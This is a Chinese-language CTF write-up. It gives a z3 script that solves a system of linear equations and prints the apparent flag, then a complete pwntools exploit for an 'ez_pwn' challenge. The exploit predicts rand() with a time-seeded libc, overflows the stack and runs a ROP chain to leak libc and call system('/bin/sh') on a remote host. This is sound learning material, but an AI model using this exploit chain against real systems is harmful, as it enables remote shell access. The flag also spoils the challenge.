这一看,这不是 算术题目吗,z3直接梭哈了
from z3 import *
s = Solver()
nums0,nums1,nums2,nums3,nums4,nums5,nums6,nums7,nums8,nums9,nums10,nums11,nums12,nums13 = Ints('nums0 nums1 nums2 nums3 nums4 nums5 nums6 nums7 nums8 nums9 nums10 nums11 nums12 nums13')
s.add((((((nums0 * 2 + nums1 - 4 - nums2 * 3 - nums3 - 3) + nums4 * 5 + nums5 * 5 - nums6 - 3) + nums7 + 2 - nums8) + 3 + nums9 - 3 - nums10 * 4) + nums11 * 3 - nums12 - 2) + nums13 + 3 == 56)
s.add(((((nums0 + 2 - nums1 * 5) + nums2 - 3 - nums3) + 5 - nums4 * 4 - nums5) + 5 + nums6 * 4 + nums7 * 5 + nums8 * 3 + nums9 * 5 - nums10 - 5 - nums11 - 2 - nums12 - 5) + nums13 - 3 == 681)
s.add((((nums0 * 5 + nums1 * 3 - nums2 - 2) + nums3 * 4 + nums4 - 3) + nums5 * 4 + nums6 * 4 + nums7 + 3 - nums8 * 2 - nums9) + 3 + nums10 + 3 - nums11 * 2 - nums12 * 3 - nums13 * 2 == 1129)
s.add((((((nums0 * 5 - nums1 - 2) + nums2 - 2) + nums3 + 5 - nums4) + 3 + nums5 * 2 + nums6 + 2 - nums7 * 4 - nums8 - 2) + nums9 + 5 + nums10 + 4 - nums11) + 3 + nums12 + 3 - nums13 * 5 == 55 )
s.add(((((nums0 + 2 - nums1 * 4 - nums2 * 3) + nums3 + 3 + nums4 * 4 + nums5 * 3 - nums6) + 5 + nums7 - 2 - nums8) + 5 + nums9 * 4 - nums10 - 2 - nums11 - 4) + nums12 * 5 - nums13 - 4 == 673 )
s.add((((((nums0 - 5 - nums1 - 4 - nums2 - 4 - nums3) + 2 + nums4 * 4 - nums5) + 4 + nums6 + 3 + nums7 + 5 - nums8 * 5 - nums9) + 2 + nums10 + 2 + nums11 - 2) + nums12 * 3 - nums13) + 4 == 249 )
s.add(((((((nums0 * 4 + nums1 - 4) + nums2 - 5) + nums3 - 2 - nums4 * 2) + nums5 + 3 + nums6 - 3 - nums7) + 3 - nums8 * 4 - nums9 * 3) + nums10 * 2 + nums11 * 5 + nums12 - 4) + nums13 - 4 == 422 )
s.add(((((((nums0 * 3 - nums1 - 3 - nums2 - 3) + nums3 - 2 - nums4 - 5) + nums5 * 2 + nums6 - 4) + nums7 - 5) + nums8 * 5 - nums9 * 3 - nums10) + 5 - nums11 - 4 - nums12 * 5) + nums13 - 4 == 49 )
s.add((((((((nums0 - 4 - nums1) + 3 - nums2) + 4 - nums3 - 4) + nums4 + 5 - nums5 * 3) + nums6 + 2 + nums7 * 4 - nums8 - 4 - nums9) + 3 - nums10 * 5) + nums11 * 2 + nums12 * 3 - nums13) + 2 == 0 )
s.add((((((((nums0 - 5 - nums1) + 5 - nums2 - 4) + nums3 + 3 + nums4 - 2) + nums5 - 4) + nums6 * 2 - nums7 - 4 - nums8 * 4) + nums9 + 4 + nums10 * 4 - nums11) + 5 - nums12) + 4 + nums13 + 4 == 268 )
s.add(((((((nums0 - 5 - nums1) + 3 - nums2) + 2 + nums3 - 4 - nums4) + 4 + nums5 - 5 - nums6) + 2 + nums7 - 4 - nums8 - 5 - nums9 - 5 - nums10 - 2 - nums11) + 5 + nums12 - 3) + nums13 + 4 == -162 )
s.add(((((((((nums0 + 5 - nums1) + 4 + nums2 * 5 - nums3 - 3) + nums4 - 5 - nums5 - 5) + nums6 + 3 - nums7 * 5 - nums8 * 3) + nums9 - 4) + nums10 - 2) + nums11 - 3) + nums12 - 5) + nums13 + 2 == -2)
s.add(((((nums0 + 4 + nums1 - 5 - nums2) + 3 + nums3 + 3 - nums4 - 4 - nums5) + 3 + nums6 - 3 - nums7 - 5 - nums8) + 3 + nums9 - 5 - nums10 - 2) + nums11 + 5 + nums12 * 5 - nums13 - 5 == 433)
s.add((((((nums0 + 4 + nums1 + 4 + nums2 + 3 - nums3 - 2) + nums4 - 4) + nums5 + 3 - nums6 - 4 - nums7 * 2) + nums8 - 3) + nums9 + 2 + nums10 * 3 - nums11 * 4) + nums12 + 5 + nums13 * 3 == 515)
if s.check() == sat:
print(s.model())
#B@by_5yth0n&z3
ez_pwn
沃靠学到了学到了,这pwn题目。
其实题目一进去就可以看到最下面的read有溢出了,但是前面有随机数判段,我超玩当时就懵了不会啊。后面发现可以使用ctypesCDLL绕过,因为他文件给了这个文件的libc
绕过之后就是栈溢出了,要泄露真实地址,找到基地址,然后构建payload
from pwn import *
import ctypes
context(os = 'linux', log_level = 'debug', arch = 'amd64')
elf = ELF('./vuln')
p = process('./vuln')
libc = ELF('./libc.so.6')
def bug():
gdb.attach(p)
pause()
io = remote('139.196.237.232',32842)
rdi = 0x00000000004014d3
read = 0x000000000404038
payload1 = b'a'*0x20
io.recvuntil(b'account:')
io.sendline(payload1)
elf1 = ctypes.CDLL('./libc.so.6')
elf1.srand(elf1.time(0))
io.recvuntil(b'password:')
payload2 = str(elf1.rand())
io.sendline(payload2)
#io.recvuntil('Wrong!')
io.recvuntil(b'something')
payload3 = b'a' * 0x38 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
#payload3 = b'a' * 0x38 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(read)
io.sendline(payload3)
io.recvuntil(b'bye~~')
#puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
io.recvuntil('account:')
io.sendline(b'a')
elf2 = ctypes.CDLL('./libc.so.6')
elf2.srand(elf2.time(0))
io.recvuntil(b'password:')
payload5 = str(elf2.rand())
io.sendline(payload5)
io.recvuntil('something')
payload4 = b'a'*0x38 + p64(rdi) + p64(binsh) + p64(rdi+1) + p64(system)
io.sendline(payload4)
io.interactive()
学到了学到了,有意思